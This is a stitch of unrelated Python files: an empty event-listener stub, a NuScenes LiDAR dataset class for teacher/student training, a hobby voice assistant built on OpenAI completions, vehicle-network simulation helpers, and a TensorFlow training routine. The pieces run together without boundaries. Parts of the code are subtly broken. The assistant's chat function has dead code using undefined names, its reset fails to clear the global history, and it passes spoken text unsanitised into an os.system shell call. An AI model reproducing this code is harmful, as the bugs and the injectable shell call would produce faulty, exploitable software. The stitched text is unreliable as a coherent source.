class ExceptionListener(ListenerPrototype):
    """
    错误事件监听者
    """

    name = 'exception_listener'

    def follow_registered_event(self):
        """
        关注错误类型的已注册事件
        :return:
        """
        self.followed_events = rt_context.event_list.get(EventType.EXCEPTION.value, None)

    def check_event(self, *args, **kwargs):
        pass

    def publish_event(self):
        pass


import copy
import imp
import numpy as np
from ...utils import common_utils
from .nuscenes_dataset import NuScenesDataset
from collections import defaultdict
import torch
from ...ops.roiaware_pool3d import roiaware_pool3d_utils
from pathlib import Path

class NuScenesDatasetMT(NuScenesDataset):
    def __init__(self, dataset_cfg, class_names, training=True, root_path=None, logger=None):
        super().__init__(
            dataset_cfg=dataset_cfg, class_names=class_names, training=training, root_path=root_path, logger=logger
        )
    def __getitem__(self, index):
        if self._merge_all_iters_to_one_epoch:
            index = index % len(self.infos)

        info = copy.deepcopy(self.infos[index])
        points = self.get_lidar_with_sweeps(index, max_sweeps=self.dataset_cfg.MAX_SWEEPS)

        if self.dataset_cfg.get('SHIFT_COOR', None):
            points[:, 0:3] += np.array(self.dataset_cfg.SHIFT_COOR, dtype=np.float32)

        input_dict = {
            'points': points,
            'frame_id': Path(info['lidar_path']).stem,
            'metadata': {'token': info['token']}
        }

        if 'gt_boxes' in info:
            if self.dataset_cfg.get('FILTER_MIN_POINTS_IN_GT', False):
                mask = (info['num_lidar_pts'] > self.dataset_cfg.FILTER_MIN_POINTS_IN_GT - 1)
            else:
                mask = None

            input_dict.update({
                'gt_names': info['gt_names'] if mask is None else info['gt_names'][mask],
                'gt_boxes': info['gt_boxes'] if mask is None else info['gt_boxes'][mask]
            })

            if self.dataset_cfg.get('SHIFT_COOR', None):
                input_dict['gt_boxes'][:, 0:3] += self.dataset_cfg.SHIFT_COOR

            if self.dataset_cfg.get('USE_PSEUDO_LABEL', None) and self.training:
                input_dict['gt_boxes'] = None

            # for debug only
            # gt_boxes_mask = np.array([n in self.class_names for n in input_dict['gt_names']], dtype=np.bool_)
            # debug_dict = {'gt_boxes': copy.deepcopy(input_dict['gt_boxes'][gt_boxes_mask])}

        if self.dataset_cfg.get('FOV_POINTS_ONLY', None):
            input_dict['points'] = self.extract_fov_data(
                input_dict['points'], self.dataset_cfg.FOV_DEGREE, self.dataset_cfg.FOV_ANGLE
            )
            if input_dict['gt_boxes'] is not None:
                fov_gt_flag = self.extract_fov_gt(
                    input_dict['gt_boxes'], self.dataset_cfg.FOV_DEGREE, self.dataset_cfg.FOV_ANGLE
                )
                input_dict.update({
                    'gt_names': input_dict['gt_names'][fov_gt_flag],
                    'gt_boxes': input_dict['gt_boxes'][fov_gt_flag],
                })

        if self.dataset_cfg.get('USE_PSEUDO_LABEL', None) and self.training:
            self.fill_pseudo_labels(input_dict)

        if self.dataset_cfg.get('SET_NAN_VELOCITY_TO_ZEROS', False) and not self.dataset_cfg.get('USE_PSEUDO_LABEL', None):
            gt_boxes = input_dict['gt_boxes']
            gt_boxes[np.isnan(gt_boxes)] = 0
            input_dict['gt_boxes'] = gt_boxes

        if not self.dataset_cfg.PRED_VELOCITY and 'gt_boxes' in input_dict and not self.dataset_cfg.get('USE_PSEUDO_LABEL', None):
            input_dict['gt_boxes'] = input_dict['gt_boxes'][:, [0, 1, 2, 3, 4, 5, 6]]

        if self.dataset_cfg.get('USE_PSEUDO_LABEL', None) and self.training:
            self.fill_pseudo_labels(input_dict)

        data_dict1 = copy.deepcopy(input_dict)
        data_dict2 = copy.deepcopy(input_dict)
        data_dict1 = self.prepare_data(data_dict=data_dict1)
        if isinstance(data_dict1, list):    # len(data_dict['gt_boxes']) == 0
            return data_dict1
        data_dict2 = self.prepare_data_teacher(data_dict=data_dict2)
        if isinstance(data_dict2, list):    # len(data_dict['gt_boxes']) == 0
            return data_dict2

        output = [data_dict1, data_dict2]
        return output

    def prepare_data_teacher(self, data_dict):
        """
        Args:
            data_dict:
                points: optional, (N, 3 + C_in)
                gt_boxes: optional, (N, 7 + C) [x, y, z, dx, dy, dz, heading, ...]
                gt_names: optional, (N), string
                ...

        Returns:
            data_dict:
                frame_id: string
                points: (N, 3 + C_in)
                gt_boxes: optional, (N, 7 + C) [x, y, z, dx, dy, dz, heading, ...]
                gt_names: optional, (N), string
                use_lead_xyz: bool
                voxels: optional (num_voxels, max_points_per_voxel, 3 + C)
                voxel_coords: optional (num_voxels, 3)
                voxel_num_points: optional (num_voxels)
                ...
        """
        if self.training:
            # filter gt_boxes without points
            num_points_in_gt = data_dict.get('num_points_in_gt', None)
            if num_points_in_gt is None:
                num_points_in_gt = roiaware_pool3d_utils.points_in_boxes_cpu(
                    torch.from_numpy(data_dict['points'][:, :3]),
                    torch.from_numpy(data_dict['gt_boxes'][:, :7])).numpy().sum(axis=1)

            mask = (num_points_in_gt >= self.dataset_cfg.get('MIN_POINTS_OF_GT', 1))
            data_dict['gt_boxes'] = data_dict['gt_boxes'][mask]
            data_dict['gt_names'] = data_dict['gt_names'][mask]
            if 'gt_classes' in data_dict:
                data_dict['gt_classes'] = data_dict['gt_classes'][mask]
                data_dict['gt_scores'] = data_dict['gt_scores'][mask]

            assert 'gt_boxes' in data_dict, 'gt_boxes should be provided for training'
            gt_boxes_mask = np.array([n in self.class_names for n in data_dict['gt_names']], dtype=np.bool_)

            ## note: teacher has no augmentation
            if self.dataset_cfg.get('TEACHER_RBRS', None):
                augmentor_configs = self.dataset_cfg.DATA_AUGMENTOR.AUG_CONFIG_LIST
                aug_config_list = augmentor_configs if isinstance(augmentor_configs, list) \
                    else augmentor_configs.AUG_CONFIG_LIST
                for cur_cfg in aug_config_list:
                    if cur_cfg.NAME == 'random_beam_downsample':
                        beam = cur_cfg.BEAM
                        beam_prob = cur_cfg.BEAM_PROB
                points = data_dict['points']
                beam_label = data_dict['beam_labels']
                beam_mask = np.random.rand(beam) < beam_prob
                points_mask = beam_mask[beam_label]
                data_dict['points'] = points[points_mask]

            data_dict['gt_boxes'] = data_dict['gt_boxes'][gt_boxes_mask]
            data_dict['gt_names'] = data_dict['gt_names'][gt_boxes_mask]

            if 'gt_boxes2d' in data_dict:
                data_dict['gt_boxes2d'] = data_dict['gt_boxes2d'][gt_boxes_mask]
            if len(data_dict['gt_boxes']) == 0:
                new_index = np.random.randint(self.__len__())
                return self.__getitem__(new_index)

        if data_dict.get('gt_boxes', None) is not None:
            selected = common_utils.keep_arrays_by_name(data_dict['gt_names'], self.class_names)
            data_dict['gt_boxes'] = data_dict['gt_boxes'][selected]
            data_dict['gt_names'] = data_dict['gt_names'][selected]
            # for pseudo label has ignore labels.
            if 'gt_classes' not in data_dict:
                gt_classes = np.array([self.class_names.index(n) + 1 for n in data_dict['gt_names']], dtype=np.int32)
            else:
                gt_classes = data_dict['gt_classes'][selected]
                data_dict['gt_scores'] = data_dict['gt_scores'][selected]
            gt_boxes = np.concatenate((data_dict['gt_boxes'], gt_classes.reshape(-1, 1).astype(np.float32)), axis=1)
            data_dict['gt_boxes'] = gt_boxes

            if data_dict.get('gt_boxes2d', None) is not None:
                data_dict['gt_boxes2d'] = data_dict['gt_boxes2d'][selected]

        if data_dict.get('points', None) is not None:
            data_dict = self.point_feature_encoder.forward(data_dict)

        data_dict = self.data_processor.forward(
            data_dict=data_dict
        )

        if self.training and len(data_dict['gt_boxes']) == 0:
            new_index = np.random.randint(self.__len__())
            return self.__getitem__(new_index)

        data_dict.pop('gt_names', None)
        data_dict.pop('gt_classes', None)

        return data_dict

    @staticmethod
    def collate_batch(batch_list, _unused=False):
        def collate_fn(batch_list):
            data_dict = defaultdict(list)
            for cur_sample in batch_list:
                for key, val in cur_sample.items():
                    data_dict[key].append(val)
            batch_size = len(batch_list)
            ret = {}

            for key, val in data_dict.items():
                try:
                    if key in ['voxels', 'voxel_num_points']:
                        ret[key] = np.concatenate(val, axis=0)
                    elif key in ['points', 'voxel_coords']:
                        coors = []
                        for i, coor in enumerate(val):
                            coor_pad = np.pad(coor, ((0, 0), (1, 0)), mode='constant', constant_values=i)
                            coors.append(coor_pad)
                        ret[key] = np.concatenate(coors, axis=0)
                    elif key in ['gt_boxes']:
                        max_gt = max([len(x) for x in val])
                        batch_gt_boxes3d = np.zeros((batch_size, max_gt, val[0].shape[-1]), dtype=np.float32)
                        for k in range(batch_size):
                            batch_gt_boxes3d[k, :val[k].__len__(), :] = val[k]
                        ret[key] = batch_gt_boxes3d
                    elif key in ['gt_scores']:
                        max_gt = max([len(x) for x in val])
                        batch_scores = np.zeros((batch_size, max_gt), dtype=np.float32)
                        for k in range(batch_size):
                            batch_scores[k, :val[k].__len__()] = val[k]
                        ret[key] = batch_scores
                    elif key in ['gt_boxes2d']:
                        max_boxes = 0
                        max_boxes = max([len(x) for x in val])
                        batch_boxes2d = np.zeros((batch_size, max_boxes, val[0].shape[-1]), dtype=np.float32)
                        for k in range(batch_size):
                            if val[k].size > 0:
                                batch_boxes2d[k, :val[k].__len__(), :] = val[k]
                        ret[key] = batch_boxes2d
                    elif key in ["images", "depth_maps"]:
                        # Get largest image size (H, W)
                        max_h = 0
                        max_w = 0
                        for image in val:
                            max_h = max(max_h, image.shape[0])
                            max_w = max(max_w, image.shape[1])

                        # Change size of images
                        images = []
                        for image in val:
                            pad_h = common_utils.get_pad_params(desired_size=max_h, cur_size=image.shape[0])
                            pad_w = common_utils.get_pad_params(desired_size=max_w, cur_size=image.shape[1])
                            pad_width = (pad_h, pad_w)
                            # Pad with nan, to be replaced later in the pipeline.
                            pad_value = np.nan

                            if key == "images":
                                pad_width = (pad_h, pad_w, (0, 0))
                            elif key == "depth_maps":
                                pad_width = (pad_h, pad_w)

                            image_pad = np.pad(image,
                                            pad_width=pad_width,
                                            mode='constant',
                                            constant_values=pad_value)

                            images.append(image_pad)
                        ret[key] = np.stack(images, axis=0)
                    elif key in ['object_scale_noise', 'object_rotate_noise']:
                        max_noise = max([len(x) for x in val])
                        batch_noise = np.zeros((batch_size, max_noise), dtype=np.float32)
                        for k in range(batch_size):
                            batch_noise[k, :val[k].__len__()] = val[k]
                        ret[key] = batch_noise
                    elif key in ['beam_labels']:
                        continue
                    else:
                        ret[key] = np.stack(val, axis=0)
                except:
                    print('Error in collate_batch: key=%s' % key)
                    raise TypeError

            ret['batch_size'] = batch_size
            return ret

        if isinstance(batch_list[0], dict):
            return collate_fn(batch_list)

        else:
            assert isinstance(batch_list[0], list)
            batch_list1 = [x[0] for x in batch_list]
            batch_list2 = [x[1] for x in batch_list]
            ret1 = collate_fn(batch_list1)
            ret2 = collate_fn(batch_list2)
            return [ret1, ret2]


import datetime
import openai
from config import apikey
import speech_recognition as sr
import os
import win32com.client
import pyaudio
import webbrowser
# import required module
import subprocess, sys
import random
import win32com.client as wincl

speaker = win32com.client.Dispatch("SAPI.SpVoice")

chatStr = ""
def chat(query):
    global chatStr
    print(chatStr)
    openai.api_key = apikey
    chatStr += f"Rajat:{query}\n Jarvis:"
    response = openai.Completion.create(
        # model="gpt-3.5-turbo",
        model="text-davinci-003",
        prompt=chatStr,
        temperature=0.7,
        max_tokens=256,
        top_p=1,
        frequency_penalty=0,
        presence_penalty=0
    )
    # todo: wrap this inside of a try catch block
    speaker.speak (response["choices"][0]["text"])
    chatStr += f"{response['choices'][0]['text']}\n"
    return response["choices"][0]["text"]

    # with open(f"Openai/prompt-{random.randint(1,343434343434)}" , "w") as f:
    with open(f"Openai/{' '.join(prompt.split('AI')[1:]).strip()}.txt", "w") as f:
        f.write(text)

def ai(prompt):
    openai.api_key = apikey
    text = f"OpenAI response for Prompt: {prompt} \n****************************************\n\n"

    response = openai.Completion.create(
       # model="gpt-3.5-turbo",
        model="text-davinci-003",
        prompt=prompt,

        temperature=0.8,
        max_tokens=1024,
        top_p=1,
        frequency_penalty=0,
        presence_penalty=0
    )
    # todo: wrap this inside of a try catch block
    #  print (response["choices"][0]["text"])
    text += response["choices"][0]["text"]
    if not os.path.exists("Openai"):
        os.mkdir("Openai")

    #with open(f"Openai/prompt-{random.randint(1,343434343434)}" , "w") as f:
    with open(f"Openai/{' '.join(prompt.split('AI')[1:]).strip()}.txt" , "w") as f:
        f.write(text)

def say(text):
    os.system(f"say {text}")

def takeCommand():
    r=sr.Recognizer()
    with sr.Microphone() as source :
        r.pause_threshold = 0.5
        audio = r.listen(source)
        try:
            query = r.recognize_google(audio, language="en-in")
            print(f"user said: {query}")
            return query
        except Exception as e:
            return "Some Error Occured. Sorry from R buddy"

def speak(text):
    speaker = wincl.Dispatch("SAPI.SpVoice")
    speaker.Speak(text)

if __name__ == '__main__':
    i=0
    speaker.Speak("Jarvais.. AI")
    while i<=50:
        i=i+1
        print("listening..")
        query= takeCommand()

        # todo: make a list of sites
        sites = [["youtube","https://youtube.com"],["google","https://google.com"],
                 ["Facebook","https://facebook.com"],["linkedin","https://linkedin.com"],
                 ["my portfolio","file:///C:/Users/Abhi/Desktop/Web%20Designing/portfolio/portfolio/index.html"],
                 ["github profile", "https://github.com/Rajat-rj45"], ["instagram profile", "https://www.instagram.com/rajat__ak47/"],
                 ["galgotia college", "https://galgotiacollege.edu/"], ["icloud", "https://gu.icloudems.com/corecampus/index.php"],
                 ["AKTU", "https://aktu.ac.in/syllabus%202023-2024.html"], ["Sarkari result", "https://www.sarkariresult.com/"],
                 ["twitter", "https://twitter.com"], ["flipkart", "https://flipkart.com"],
                 ["Amazon", "https://amazon.com"]]
        for site in sites:
            if f"Open {site[0]}".lower() in query.lower():
                speaker.Speak(f"Opening {site[0]} sir...")
                webbrowser.open(site[1])

        if "open music" in query:
            musicPath = "C:/Users/Abhi/Downloads/rasiya.mp3"
            if os.path.exists(musicPath):
                # Open the music file with the default application
                os.startfile(musicPath)
            else:
                # Speak a message indicating that the file was not found
                speak(f"File not found: {musicPath}")

        if "what is the time" in query:
            strfTime = datetime.datetime.now().strftime("%H:%M:%S")
            print(strfTime)
            speaker.speak(f"Sir the time is {strfTime}")

        #todo: make a list
        apps=[["camera","C:/Users/Abhi/Desktop/Shortcut/Camera.lnk"],
              ["vs code","C:/Users/Abhi/Desktop/Shortcut/Visual Studio Code.lnk"],
              ["Calculator","C:/Users/Abhi/Desktop/Shortcut/Calculator.lnk"],
              ["Settings","C:/Users/Abhi/Desktop/Shortcut/Settings.lnk"],
              ["Calendar","C:/Users/Abhi/Desktop/Shortcut/Calendar.lnk"],
              ["Games","C:/Users/Abhi/Desktop/Shortcut/Solitaire & Casual Games.lnk"],
              ["Clock", "C:/Users/Abhi/Desktop/Shortcut/Clock.lnk"],
              ["This pc", "C:/Users/Abhi/Desktop/Shortcut/This PC - Shortcut.lnk"],
              ["Mail", "C:/Users/Abhi/Desktop/Shortcut/Mail.lnk"],
              ["Weather", "C:/Users/Abhi/Desktop/Shortcut/Weather.lnk"],
              ["Notepad","C:/Users/Abhi/Desktop/Shortcut/Notepad.lnk"],
              ["WhatsApp","C:/Users/Abhi/Desktop/Shortcut/WhatsApp.lnk"]]

        for app in apps :
            if f"Open {app[0]}".lower() in query.lower():
                speaker.Speak(f"Opening {app[0]} sir...")
                os.startfile(app[1])

        if "Using AI".lower() in query.lower():
            speaker.speak("yes sir")
            ai(prompt=query)

        elif "jarvis Quit".lower() in query.lower():
            exit()

        elif "reset chat".lower() in query.lower():
            chatStr=""

        else:
            print("Chatting...")
            chat(query)


from score.IoV_state import IoVSendMessage
import random
import uuid

# 读取位置信息，生成广播消息
def file_location(files):
    gen = []
    with open(files, 'r') as f:
        locations = f.readlines()
    for i in range(0, len(locations)):
        locations[i] = locations[i].rstrip('\n')
        a = locations[i].split(',')
        # gen.append((a[0][1:], a[1][:-2]))
        gen.append((a[0][1:], a[1][:-1]))
    return gen

# 随机产生若干个accident，每一个可以保持一段时间
def accident_factory():
    """
    :return:  set=([id, timer])
    """
    ACCIDENT_NUM = 10
    accident_set = set()
    for i in range(ACCIDENT_NUM):
        accident_set.add((i, random.randint(1, 100)))
    return accident_set

# 随机产生一条轨迹，轨迹必须是单调的，可以递增也可以递减
def trajectory():
    veh_num = 50
    # rsu_num = 20
    # road_len = 2000
    time_len = 200000
    start_point = random.sample(range(time_len), 50)
    veh_trajectory = []
    for i in range(veh_num):
        veh_id = uuid.uuid3(uuid.NAMESPACE_DNS, str(i))
        # xy = range(road_len)
        veh_trajectory.append({start_point[i]: veh_id})
    return veh_trajectory


import tensorflow as tf
import numpy as np
from src.functions import initializers as ci  # i.e., custom initializers
from src.utils import data_handler as dh

from src.functions.layers import ActivLin1D
from src.functions.activation_parameters import activation_function_parameters as act_fun_params
from src.models import inverse_model as im

def inverse_training(inverse_dataset):
    # NN parameters
    nn_name = 'inverse_model'
    batch_size    = 100
    epochs        = 200
    valid_split   = 0.1
    input_window  = 10
    output_window = 1
    l2_reg        = 8e-8
    opt_params    = [0.001, # learning rate
                     1e-8]  # epsilon

    # Weights initializers
    drag_init = np.ones(shape=(1, 1),
                        dtype=np.float32)  # to make TF happy
    fc_init = np.ones(shape=(input_window, output_window),
                      dtype=np.float32)

    weights_init = [drag_init,
                    fc_init]

    # Reshape and split data
    train_data, valid_data, time = dh.window_data(dataset=inverse_dataset,
                                                  input_labels=['acceleration',
                                                                'velocity'],
                                                  output_labels=['pedal'],
                                                  input_window=input_window,
                                                  output_window=output_window,
                                                  batch_size=batch_size,
                                                  validation_split=valid_split)

    # Create the channel parameters:
    # Remember that the inverse model uses the original velocities too
    channel_params = act_fun_params(inverse_dataset)

    # Create model
    inv_model = im.inverse_model(batch_size=batch_size,
                                 input_shape=input_window,
                                 output_shape=output_window,
                                 weights_init=weights_init,
                                 l2_reg=l2_reg,
                                 channel_parameters=channel_params,
                                 opt_params=opt_params)

    # Print model summary
    inv_model.summary()

    # Callbacks
    save_path = f'/Users/francescomaraschin/Library/Mobile Documents/com~apple~CloudDocs/Universtiy/IntelligentVehicles/LongitudinalControllerNN/Data/trained_models/{nn_name}/{nn_name}.h5'
    checkpoint = tf.keras.callbacks.ModelCheckpoint(filepath=save_path,
                                                    monitor='val_loss',
                                                    mode='auto',
                                                    verbose=1,
                                                    save_best_only=True)
    early_stop = tf.keras.callbacks.EarlyStopping(monitor='val_loss',
                                                  patience=50,
                                                  verbose=1)

    # Fix the random seed for reproducibility
    tf.keras.utils.set_random_seed(314159)

    # Fit model
    history = inv_model.fit(x=train_data[0],
                            y=train_data[1],
                            batch_size=batch_size,
                            epochs=epochs,
                            verbose=1,
                            callbacks=[checkpoint,
                                       early_stop],
                            validation_data=valid_data,
                            shuffle=False,
                            use_multiprocessing=True)

    # Load the best model
    best_model = tf.keras.models.load_model(filepath=save_path,
                                            custom_objects={
                                                'MyInitializer': ci.MyInitializer,
                                                'ActivLin1D': ActivLin1D
                                            })

    return [best_model, history, train_data, valid_data, time, batch_size]